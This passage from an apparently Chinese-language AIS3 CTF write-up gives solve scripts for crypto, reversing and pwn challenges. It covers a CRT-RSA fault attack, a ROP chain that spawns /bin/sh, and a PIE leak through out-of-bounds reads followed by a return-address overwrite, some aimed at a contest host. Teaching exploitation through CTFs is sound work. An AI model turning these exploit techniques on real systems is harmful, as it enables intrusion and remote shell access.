p = 912963562570713895762123712634341582363191342435924527885311975797578046400116904692505817547350929619596093083745446525856149291591598712142696114753807416455553636357128701771057485027781550780145668058332461392878693207262984011086549089459904749465167095482671894984474035487400352761994560452501497000487
g = 5
y = 826538666839613533825164219540577914201103248283631882579415248247469603672292332561005185045449294103457059566058782307774879654805356212117148864755019033392691510181464751398765490686084806155442759849410837406192708511190585484331707794669398717997173649869228717077858848442336016926370038781486833717341
flag = discrete_log(p, y, 5)
print(long_to_bytes(flag))
```

> AIS3{ToSolveADiscreteLogProblemWhithSmoothPIsSoEZZZZZZZZZZZ}

## easyRSA
### source code
```python=
#!/bin/python3
import random
from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes
from hashlib import sha256
from base64 import b64encode, b64decode
from secret import flag
import signal

def alarm(second):
    # This is just for timeout.
    # It should not do anything else with the challenge.
    def handler(signum, frame):
        print('Timeout!')
        exit()
    signal.signal(signal.SIGALRM, handler)
    signal.alarm(second)

def gcd(a, b):
    while b:
        a, b = b, a % b
    return a

def generate_keypair(keysize):
    p = getPrime(keysize)
    q = getPrime(keysize)
    n = p * q
    phi = (p-1) * (q-1)
    
    e = random.randrange(1, phi)
    g = gcd(e, phi)
    while g != 1:
        e = random.randrange(1, phi)
        g = gcd(e, phi)
    d = pow(e, -1, phi)
    # for CRT optimize
    dP = d % (p-1)
    dQ = d % (q-1)
    qInvP = pow(q, -1, p)
    return ((e, n), (dP, dQ, qInvP, p, q))

def verify(pk, message: bytes, signature: bytes):
    e, n = pk
    data = bytes_to_long(sha256(message).digest())
    return data == pow(bytes_to_long(signature), e, n)

bug = lambda : random.randrange(0, 256)
def sign(sk, message: bytes):
    dP, dQ, qInvP, p, q = sk
    data = bytes_to_long(sha256(message).digest())
    # use CRT optimize to sign the signature,
    # but there are bugs in my code QAQ
    a = bug()
    mP = pow(data, dP, p) ^ a
    b = bug()
    mQ = pow(data, dQ, q) ^ b
    k = (qInvP * (mP - mQ)) % p
    signature = mQ + k * q
    return long_to_bytes(signature)


if __name__ == "__main__":
    alarm(300)

    public, private = generate_keypair(512)
    print("""
***********************************************************
Have you heard CRT optimization for RSA? I have implemented
a CRT-RSA signature. However, there are bugs in my code...
---------------------------------------------------------
1) Print public key.
2) Sign a message.
3) Give me flag?
4) Bye~
***********************************************************
    """)

    for _ in range(5):
        try:
            option = input("Option: ")
            if int(option) == 1:
                print('My public key:')
                print(f"e, n = {public}")

            elif int(option) == 2:
                message = input("Your message (In Base64 encoded): ")
                message = b64decode(message.encode())
                if b"flag" in message: 
                    print(f"No, I cannot give you the flag!")
                else:
                    signature = sign(private, message)
                    signature = b64encode(signature)
                    print(f"Signature: {signature}")
            
            elif int(option) == 3:
                signature = input("Your signature (In Base64 encoded): ")
                signature = b64decode(signature.encode())
                message = b64encode(b"Give me the flag!")
                if verify(public, message, signature):
                    print(f"Well done! Here is your flag :{flag}")
                else :
                    print("Invalid signature.")

            else:
                print("Bye~~~~~")
                break
        except Exception as e:
            print(e)
            print("Something wrong?")
            exit()
```

### 解法
他有一個地方有bug，所以可以參考這個，來做RSA Fault Attack
https://asecuritysite.com/rsa/rsa_fault

這邊直接上script，跟著我的script的方法推一遍就可以解出來了

### script
```python=
from hashlib import sha256
from Crypto.Util.number import bytes_to_long, long_to_bytes
from base64 import b64decode, b64encode
import libnum

print("選1，拿到 e, N")
e = int(input('e: '))
N = int(input('N: '))
print("m='fake_message_to_leak_data'")
msg=b"fake_message_to_leak_data"
m_base64= b64encode(msg)

m=  bytes_to_long(sha256(msg).digest())
print("m_base64 : ",m_base64)
print("選2，讓m簽名(faulty_signature)")
faulty_signature = input("signature (base64) : ")
f_signature=bytes_to_long(b64decode(faulty_signature.encode()))

for a in range(512):
    p_rec=libnum.gcd(pow(f_signature^a,e,N)-m,N)
    q_rec = N//p_rec
    if p_rec!=1:
        print("p recovered: ",p_rec)
        print("q recovered: ",q_rec)
        break

#找到p,q後可以找出私鑰		
phi=(p_rec-1)*(q_rec-1)
d=pow(e,-1,phi)

signature=pow(58390298905807142549536595535040245956000670278430985491775738737127640060178,d,N)
signature=long_to_bytes(signature)
import binascii
signature = binascii.hexlify(signature).decode('utf-8')
print("這裡拿到的是hex的signature，轉成base64(可以丟到cyberchef): ", signature)

#最後選擇3，丟進去就get flag了
```
![image](https://hackmd.io/_uploads/Skhk4-zV0.png)

![image](https://hackmd.io/_uploads/BJsuQZzEC.png)

> AIS3{IJustWantItFasterQAQ}

# Reverse

## The Long Print
有個執行檔，先丟進去ida作分析，因為執行起來會卡，所以先把sleep patch掉，但他沒有印出flag
![image](https://hackmd.io/_uploads/HkhY7pfVR.png)

`\rOops! Where is the flag? I am sure that the flag is already printed!`

分析一下發現他運算完後忘記print出來來，就把東西抓下來run一遍就行了
![image](https://hackmd.io/_uploads/r1WwNTfEC.png)

### script

```python=
import time

secret = bytearray([
    ord('F'), ord('A'), ord('K'), ord('E'), 0x0B, 0x00, 0x00, 0x00,
    ord('{'), ord('h'), ord('o'), ord('o'), 0x0A, 0x00, 0x00, 0x00,
    ord('r'), ord('a'), ord('y'), ord('_'), 0x02, 0x00, 0x00, 0x00,
    ord('s'), ord('t'), ord('r'), ord('i'), 0x08, 0x00, 0x00, 0x00,
    ord('n'), ord('g'), ord('s'), ord('_'), 0x06, 0x00, 0x00, 0x00,
    ord('i'), ord('s'), ord('_'), ord('a'), 0x05, 0x00, 0x00, 0x00,
    ord('l'), ord('w'), ord('a'), ord('y'), 0x07, 0x00, 0x00, 0x00,
    ord('s'), ord('_'), ord('a'), ord('n'), 0x04, 0x00, 0x00, 0x00,
    ord('_'), ord('u'), ord('s'), ord('e'), 0x09, 0x00, 0x00, 0x00,
    ord('f'), ord('u'), ord('l'), ord('_'), 0x00, 0x00, 0x00, 0x00,
    ord('c'), ord('o'), ord('m'), ord('m'), 0x01, 0x00, 0x00, 0x00,
    ord('a'), ord('n'), ord('z'), ord('}'), 0x03, 0x00, 0x00, 0x00,
])

key = [
    0x3A011001, 0x4C4C1B0D, 0x3A0B002D, 0x454F40, 0x3104321A,
    0x3E2D161D, 0x2C120A31, 0x0D3E1103, 0x0C1A002C, 0x41D1432,
    0x1A003100, 0x76180807
]
for i in range(0, 24, 2):
    secret_value = int.from_bytes(secret[4 * i:4 * i + 4], 'little')
    secret_index = int.from_bytes(secret[4 * i + 4:4 * i + 8], 'little') % len(key)
    v4 = secret_value ^ key[secret_index]
    for j in range(4):
        print(chr(v4 & 0xFF), end='', flush=True)
        v4 >>= 8
        print(v4)


#AIS3{You_are_the_master_of_time_management!!!!?}

```
> AIS3{You_are_the_master_of_time_management!!!!?}

## 火拳のエース

丟進去ida，一樣把printflag裡面的sleep patch掉，把sleep大概邏輯是長這樣，輸入的東西就是flag，經過運算後會比對看對不對，所以就是反著推一遍就行了(最後加上他一開始印的flag開頭)

![image](https://hackmd.io/_uploads/BJSvNwmN0.png)

![image](https://hackmd.io/_uploads/SybYVPQV0.png)

另外每個字是獨立運算的，所以complex可以透過輸入來對答案(大寫)，這樣就不需要逆推那一坨複雜的運算了

```python=
import time
import random

def xor_strings(a1, a2, a3):
    result = ''
    for i in range(8):
        v6 = int(a1[i], 16)
        v5 = int(a2[i], 16)
        result += hex(v6 ^ v5)[2:]
    
    return result

def complex_function(a1, a2):
    if a1 <= 64 or a1 > 90:
        print("It feels slightly wrong, but almost correct...")
    
    
    v8 = (17 * a2 + a1 - 65) % 26
    v7 = a2 % 3 + 3
    v2 = a2 % 3
    
    if a2 % 3 == 2:
        v8 = (v8 - v7 + 26) % 26
    elif v2 <= 2:
        if v2:
            if v2 == 1:
                v8 = (2 * v7 + v8) % 26
        else:
            v8 = (v7 * v8 + 7) % 26
    
    return chr(v8 + 65)


unk_804A163 = [ 0x0E, 0x0D, 0x7D, 0x06, 0x0F, 0x17, 0x76, 0x04]
v12 = [0x6D, 0x00, 0x1B, 0x7C, 0x6C, 0x13, 0x62, 0x11]#
v13 = [0x1E, 0x7E, 0x06, 0x13, 0x07, 0x66, 0x0E, 0x71]#
v14 = [0x17, 0x14, 0x1D, 0x70, 0x79, 0x67, 0x74, 0x33]#
def main():
    v3 = int(time.time())
    random.seed(v3)
    buffer0 = [''] * 8
    buffer1 = [''] * 8
    buffer2 = [''] * 8
    buffer3 = [''] * 8
    buffer0 = input("Enter value for buffer0 (8 characters): ").strip()[:8]
    buffer1 = input("Enter value for buffer1 (8 characters): ").strip()[:8]
    buffer2 = input("Enter value for buffer2 (8 characters): ").strip()[:8]
    buffer3 = input("Enter value for buffer3 (8 characters): ").strip()[:8]

    xor_strings(buffer0, unk_804A163, buffer0)
    xor_strings(buffer1, v12, buffer1)
    xor_strings(buffer2, v13, buffer2)
    xor_strings(buffer3, v14, buffer3)
    for i in range(8):
        buffer0[i] = complex_function(ord(buffer0[i]), i)
        buffer1[i] = complex_function(ord(buffer1[i]), i + 32)
        buffer2[i] = complex_function(ord(buffer2[i]), i + 64)
        buffer3[i] = complex_function(ord(buffer3[i]), i + 96)
    if (buffer0 == "DHLIYJEG"
        and buffer1 == "MZRERYND"
        and buffer2 == "RUYODBAH"
        and buffer3 == "BKEMPBRE"):
        print("Yes! I remember now, this is it!")
    else:
        print("It feels slightly wrong, but almost correct...")
main()
```

### script

這是我推的過程，可以推推看(我知道很亂就是了)
```python=
#unk_804A163 = [ 0x0E, 0x0D, 0x7D, 0x06, 0x0F, 0x17, 0x76, 0x04, 0x00]
#v12 = [0x6D, 0x00, 0x1B, 0x7C, 0x6C, 0x13, 0x62, 0x11]#
#v13 = [0x1E, 0x7E, 0x06, 0x13, 0x07, 0x66, 0x0E, 0x71]#
#v14 = [0x17, 0x14, 0x1D, 0x70, 0x79, 0x67, 0x74, 0x33]#
#buffer0=""
#xor_strings(buffer0, unk_804A163, buffer0)

# 
'''
def complex_function(buffer0[i], i):
    #if a1 <= 64 or a1 > 90:
    #    print("It feels slightly wrong, but almost correct...")
    
    
    v8 = (17 * i + buffer0[i] - 65) % 26
    v7 = i % 3 + 3
    v2 = i % 3
    
    if v2 == 2:#2、5
        v8 = (v8 - v7 ) % 26
    
 
    elif v2 == 1:#1、4、7
        v8 = (2 * v7 + v8) % 26
    else:#0、3、6
        v8 = (v7 * v8 + 7) % 26
        # 
    
    return chr(v8 + 65)
'''

def reverse_engineer(i, target_char):
    target_value = ord(target_char) - 65
    
    for buffer0_i in range(65, 91):  # Looping through 'A' to 'Z'
        v8 = (17 * i + buffer0_i - 65) % 26
        v7 = i % 3 + 3
        v2 = i % 3
        
        if v2 == 2:  
            v8 = (v8 - v7) % 26
        elif v2 == 1:  
            v8 = (2 * v7 + v8) % 26
        else:  
            v8 = (v7 * v8 + 7) % 26
        
        if v8 == target_value:
            print(chr(buffer0_i),end="")

    return None


'''
for i in range(8):
    buffer0[i] = complex_function(ord(buffer0[i]), i)
'''
ans="BKEMPBRE"
for i in range(0,8):
    reverse_engineer(i+96,ans[i])


#############################
#"DHLIYJEG"=complex_function(ord(buffer0[i]), i) i=0~7
#ans-65


input_string = "QIIKAHBJ"
byte_array = [0x0E, 0x0D, 0x7D, 0x06, 0x0F, 0x17, 0x76, 0x04, 0x00]

ascii_values = [ord(char) for char in input_string]

result = [ascii_values[i] ^ byte_array[i] for i in range(len(input_string))]

result_string = ''.join(chr(value) for value in result)

#print(result_string)
#_D4MN_4N

#TRDMYLWD

#
input_string = "TRDMYLWD"
byte_array = [0x6D, 0x00, 0x1B, 0x7C, 0x6C, 0x13, 0x62, 0x11]

ascii_values = [ord(char) for char in input_string]

result = [ascii_values[i] ^ byte_array[i] for i in range(len(input_string))]

result_string = ''.join(chr(value) for value in result)
#print()
#print(result_string)
#9R_15_5U


input_string = "NMTLWVYB"
byte_array = [0x1E, 0x7E, 0x06, 0x13, 0x07, 0x66, 0x0E, 0x71]

ascii_values = [ord(char) for char in input_string]

result = [ascii_values[i] ^ byte_array[i] for i in range(len(input_string))]

result_string = ''.join(chr(value) for value in result)
#print()
#print(result_string)
#P3R_P0W3

#ERHAXFUN
input_string = "ERHAXFUN"
byte_array = [0x17, 0x14, 0x1D, 0x70, 0x79, 0x67, 0x74, 0x33]
ascii_values = [ord(char) for char in input_string]

result = [ascii_values[i] ^ byte_array[i] for i in range(len(input_string))]

result_string = ''.join(chr(value) for value in result)
print()
print(result_string)

#RFU1!!!}

#AIS3{G0D_D4MN_4N9R_15_5UP3R_P0W3RFU1!!!}
```

> AIS3{G0D_D4MN_4N9R_15_5UP3R_P0W3RFU1!!!}

# Pwn

## Mathter
### checksec
![image](https://hackmd.io/_uploads/Hk3VvOy4C.png)

看到開了canary但其實沒開
![image](https://hackmd.io/_uploads/r1h4P2fNR.png)


### 解法
![image](https://hackmd.io/_uploads/BJDKvnzV0.png)
goodbye函數裡面有`gets`可以做buffer overflow的利用
這邊可以堆ROP

- execve('/bin/sh')

|暫存器|值|
|---|----|
|rax|0x3b|
|rdi|要執行的參數值(/bin/sh)|
|rsi|argv(這裡=0)|
|rdx|envp(這裡=0)|

找ROPgadget
|ROPgadget|address|
|---|----|
|pop rax ;ret|0x42e3a7|
|pop rdi ;ret|0x402540|
|pop rsi ;ret|0x4126a3|
|pop rdx ; pop rbx ; ret|0x47b917|
|syscall|0x4013ea|
|mov [rax + 8], rdx; ret|0x42f6b3|
|memory can write|0x4bc140|

另外找到一段可寫段，選一段看起來沒用到的空間來寫入`/bin/sh`，這邊選`0x4bc140`
`mov [rax + 8], rdx; ret` 會將rdx的值寫到rax所存的位址+8，所以`/bin/sh`被寫到`0x4bc148`
之後再從這裡拿寫進`rdi`


![image](https://hackmd.io/_uploads/B1x9UnMEA.png)

![image](https://hackmd.io/_uploads/rkfLhdkNA.png)

stack狀態
```
AAAAAA(0x4+0x8)
pop rdx rbx
/bin/sh\x00
0
pop rax
0x4bc140
mov [rax + 8], rdx; ret
pop rax 
0x3b
pop rdi
0x4bc148
pop rsi
0
pop rdx ; pop rbx 
0
0
syscall
```

### script

```python=
from pwn import *

context.arch='amd64'
#r=remote("chals1.ais3.org",50001)
r=process("./mathter")

write_binsh={
    "pop_rdx_rbx_addr":0x47b917,
    "pop_rdx_value":b'/bin/sh\x00',
    "pop_rbx_value":0,
    "pop_rax_addr":0x42e3a7,
    "pop_rax_value":0x4bc140,
    "mov":0x42f6b3
}

writebinsh_payload=flat(write_binsh["pop_rdx_rbx_addr"],
                        write_binsh["pop_rdx_value"],
                        write_binsh["pop_rbx_value"],
                        write_binsh['pop_rax_addr'],
                        write_binsh["pop_rax_value"],
                        write_binsh["mov"]                       
                        )

ROPvar={
    'pop_rax_ret':0x42e3a7,
    'pop_rdi_ret':0x402540,
    'pop_rsi_ret':0x4126a3,
    'pop_rdx_rbx_ret':0x47b917,
    'syscall':0x4013ea
}

STACKvar={
    'rax_var':0x3b,
    'rdi_var':0x4bc148,
    'rsi_var':0,
    'rdx_var':0,
    'rbx_var':0
}

ROP_payload=flat(ROPvar['pop_rax_ret'],
                STACKvar['rax_var'],
                ROPvar['pop_rdi_ret'],
                STACKvar['rdi_var'],
                ROPvar['pop_rsi_ret'],
                STACKvar['rsi_var'],
                ROPvar['pop_rdx_rbx_ret'],
                STACKvar['rdx_var'],
                STACKvar['rbx_var'],
                ROPvar['syscall'])

payload=b'a'*(0x4+0x8)+writebinsh_payload+ROP_payload

r.sendlineafter(b"Enter an operation and two numbers (e.g., 1 + 1) :",b"q")
r.sendlineafter(b"Are you sure you want to leave? [Y/n]",payload)

r.interactive()

```
![image](https://hackmd.io/_uploads/SJySd3zNR.png)

> AIS3{0mg_k4zm4_mu57_b3_k1dd1ng_m3_2e89c9}

### 題外話
這題好像只是單純的ret2func，結果我把他想太難，直接堆ROP，我以為那兩個function是假的function

## base64 encoder
### source code
```c
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void Vincent55Orz(){
  puts("Here's a shell from NASA hacked Vincent55.🛐🛐🛐");
  system("sh");
}

void base64_encoding(const char *table, char *buf, size_t len) {
  printf("Result: ");
  const int append_mod[3] = {0, 2, 3};
  const int mod[3] = {0, 2, 1};
  int out = 4 * (len / 3) + append_mod[len % 3];
  for (size_t i = 0; i < len;) {
    int32_t tmp_a = i < len ? buf[i++] : 0; //0xff
    int32_t tmp_b = i < len ? buf[i++] : 0; //0xff
    int32_t tmp_c = i < len ? buf[i++] : 0; //0xff
    int32_t combined = (tmp_a << 0x10) + (tmp_b << 0x08) + tmp_c; //讓她是負數 -> oob
    //printf("%d %d %d %d\n",(combined >> 18) % 64,(combined >> 12) % 64,(combined >> 6) % 64,(combined >> 18) % 64); // 分別print一個index
    if (out) {
      putchar(table[(combined >> 18) % 64]);
      out--;
    }
    if (out) {
      putchar(table[(combined >> 12) % 64]);
      out--;
    }
    if (out) {
      putchar(table[(combined >> 6) % 64]);
      out--;
    }
    if (out) {
      putchar(table[(combined >> 0) % 64]);
      out--;
    }
  }
  for (int i = 0; i < mod[len % 3]; i++) putchar('=');
  putchar('\n');
}

int main() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  char buf[0x40];
  const char table[0x40] = {
      'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',
      'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z',
      'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
      'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',
      '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/'};
  while (1) {
    printf("Text: ");
    memset(buf, 0, sizeof(buf));
    if (scanf("%[^\n]%*c", buf) != 1) return 0;
    base64_encoding(table, buf, strlen(buf));
  }
  return 0;
}

```

### ckecksec
![image](https://hackmd.io/_uploads/rkqyH3bVR.png)

開NX、PIE

### 分析
```c=
scanf("%[^\n]%*c", buf)
```
這地方有個很明顯的Buffer overflow

```c=
void Vincent55Orz(){
  puts("Here's a shell from NASA hacked Vincent55.🛐🛐🛐");
  system("sh");
}
```
這個function開了一個shell，如果沒有PIE直接return過去就好了，但這題有開PIE，function的為只會加上PIE base，所以要leak PIE base
```
PIE(stack)-stack offset=PIE base
```
哪裡可以leak PIE呢

```c
if (out) {
      putchar(table[(combined >> 18) % 64]);
      out--;
    }
    if (out) {
      putchar(table[(combined >> 12) % 64]);
      out--;
    }
    if (out) {
      putchar(table[(combined >> 6) % 64]);
      out--;
    }
    if (out) {
      putchar(table[(combined >> 0) % 64]);
      out--;
    }
```
這裡要了解一件事，就是C語言裡面的`%`不是取模，而是取餘，所以可以oob。
另外他有一個提示是他有一個debug留下來，可以透過那個debug，在本地自己重新編譯一個後，來知道要索引是多少
```
printf("%d %d %d %d\n",(combined >> 18) % 64,(combined >> 12) % 64,(combined >> 6) % 64,(combined >> 0) % 64)
```
(記的把最後一個改回0)

之後就開始暴力搜索出
`table[-3] table[-4] table[-5] table[-6] table[-7] table[-8]`，這些byte組起來就是PIE(stack)了

main+299->6 bytes的位址在stack上(PIE過)->oob 索引-3 -4 -5 -6 -7 -8組起來

![image](https://hackmd.io/_uploads/HJYdjWzVA.png)

![image](https://hackmd.io/_uploads/HJxoiZzV0.png)

找PIE base
![image](https://hackmd.io/_uploads/Bk06oZfNA.png)


找到offset
之後就可以每輪leak出PIE找到base了，最後return過去

```python=
from pwn import *
r = process('./base64e')
r.sendlineafter(b': ', b'\x55\x55\x01') #改這裡面的，看有沒有輸出想要的索引
# r.recvline()
# a = r.recvline() 
# print(a)
# print(hex(a[1]))
r.interactive()
```
總之亂試後就可以找到了
最後就可以減出PIE base
```
0x40+0x8(old rbp)+ret的func位置+往後跳一點(加上PIE base)
```
![image](https://hackmd.io/_uploads/BJk3DZGNR.png)


### script
```python=
from pwn import *
context.arch='amd64'

r = remote('chals1.ais3.org', 50002)
# r = process('./base64encoder')

#-5
ans = 0
r.sendlineafter(b'Text: ', b'\xdc\xba\xbf')
r.recvuntil(b'Result: ')
a = r.recvline()[1]
pie_5=a

#-8
r.sendlineafter(b'Text: ', b'\xd5\xb4\xb8')
r.recvuntil(b'Result: ')
a = r.recvline()[3]
pie_8=a

#-6
r.sendlineafter(b'Text: ', b'\xd5\xb4\xba\xaa')
r.recvuntil(b'Result: ')
a = r.recvline()[3]
pie_6=a

#-4
r.sendlineafter(b'Text: ', b'\xdc\xcb\xaa\xcc')
r.recvuntil(b'Result: ')
a = r.recvline()[1]
pie_4=a

#-7
r.sendlineafter(b'Text: ', b'\xf0\x91\x01')
r.recvuntil(b'Result: ')
a = r.recvline()[1]
pie7=a

#-3
pie3=0x55

pie=(pie3<<40)+(pie_4<<32)+(pie_5<<24)+(pie_6<<16)+(pie7<<8)+pie_8
PIE_BASE = pie - 0x15f8 #pie  -  stack offset

print(hex(PIE_BASE))
payload = b'A'*(0x40+0x8) + flat(PIE_BASE+0x1231) 
r.sendlineafter(b': ',payload)

r.sendlineafter(b': ',b'\n')

r.interactive()

#AIS3{1_g0t_WA_on_my_H0m3work_Do_YoU_h4v3_aNY_idea???_22281a41372450db}
```

![image](https://hackmd.io/_uploads/r10L_bzNA.png)

這題Leak PIE很像之前看到一題叫ROT13的，超有趣的利用方法

> AIS3{1_g0t_WA_on_my_H0m3work_Do_YoU_h4v3_aNY_idea???_22281a41372450db}

## inception
### source code
```c
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<stdint.h>
#define MAX 10
#define LOOP_LIMIT 15

void init(){
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);
}

typedef struct {
    char *content;
    int id;
} Dream;

Dream dreams[MAX];
int next_id = 1;

void welcome_message() {
    printf("Hello Dream Architect, you've been invited to join the Kazma Pikachu Team's Dream Building Training!\n");
    printf("Here in our Hyperbolic Time Chamber, you can hone your dream crafting skills and prepare for upcoming missions.\n\n");
}

void print_dream_layer_menu() {
    printf("How deep do you want to build the dream?\n");
    printf("1. First layer\n");
    printf("2. Second layer\n");
    printf("3. Third layer\n");
    printf("> ");
}

void build_dream(){
    print_dream_layer_menu();
    int choice;
    scanf("%d", &choice);
    uint64_t size = 0;

    switch(choice) {
        case 1: size = 0x38; break;
        case 2: size = 0x68; break;
        case 3: size = 0x108; break;
        default:
            printf("Invalid choice.\n\n");
            return;
    }

    for(int i = 0; i < MAX; ++i){
        if(!dreams[i].content){
            dreams[i].content = malloc(size);
            printf("Describe the dream: ");
            read(0, dreams[i].content, size - 1);
            dreams[i].content[size - 1] = '\0';
            dreams[i].id = next_id++;
            printf("Dream built with ID %d in the layer!\n\n", dreams[i].id);
            return;
        }
    }
    printf("All dream layers are occupied!\n\n");
}

void infiltrate_dream(){
    printf("Enter dream ID to infiltrate:\n> ");
    int id;
    scanf("%d", &id);

    for (int i = 0; i < MAX; ++i){
        if(dreams[i].id == id && dreams[i].content != NULL){
            printf("Infiltrating dream ID %d:\n%s\n\n", id, dreams[i].content);
            return;
        }
    }
    printf("No such dream with that ID!\n\n");
}

void destroy_dream(){
    printf("Enter dream ID to destroy:\n> ");
    int id;
    scanf("%d", &id);

    for (int i = 0; i < MAX; ++i){
        if(dreams[i].id == id && dreams[i].content != NULL){
            free(dreams[i].content);
            printf("Dream destroyed!\n\n");
            return;
        }
    }
    printf("No such dream with that ID!\n\n");
}

void menu(){
    printf("1. Build a dream\n");
    printf("2. Infiltrate a dream\n");
    printf("3. Destroy a dream\n");
    printf("4. Exit\n");
    printf("> ");
}

int main(){
    init();

    printf("\n  ██╗    ██╗███╗   ██╗ ██████╗███████╗██████╗ ████████╗██╗ ██████╗ ███╗   ██╗    ██╗  \n");
    printf(" ██╔╝    ██║████╗  ██║██╔════╝██╔════╝██╔══██╗╚══██╔══╝██║██╔═══██╗████╗  ██║    ╚██╗ \n");
    printf("██╔╝     ██║██╔██╗ ██║██║     █████╗  ██████╔╝   ██║   ██║██║   ██║██╔██╗ ██║     ╚██╗\n");
    printf("╚██╗     ██║██║╚██╗██║██║     ██╔══╝  ██╔═══╝    ██║   ██║██║   ██║██║╚██╗██║     ██╔╝\n");
    printf(" ╚██╗    ██║██║ ╚████║╚██████╗███████╗██║        ██║   ██║╚██████╔╝██║ ╚████║    ██╔╝ \n");
    printf("  ╚═╝    ╚═╝╚═╝  ╚═══╝ ╚═════╝╚══════╝╚═╝        ╚═╝   ╚═╝ ╚═════╝ ╚═╝  ╚═══╝    ╚═╝  \n");
    printf("                                                                                      \n");

    welcome_message();
    int loop_count = 0;

    while(loop_count < LOOP_LIMIT){
        menu();

        int n;
        scanf("%d", &n);

        switch(n){
            case 1:
                build_dream();
                break;
            case 2:
                infiltrate_dream();
                break;
            case 3:
                destroy_dream();
                break;
            case 4:
                printf("Enemies are waking up, time to retreat!\n\n");
                exit(0);
                break;
            default:
                printf("Capabilities insufficient.\n\n");
                break;
        }
        loop_count++;
    }

    printf("Oh no, running out of stamina...\n");
    return 0;
}
```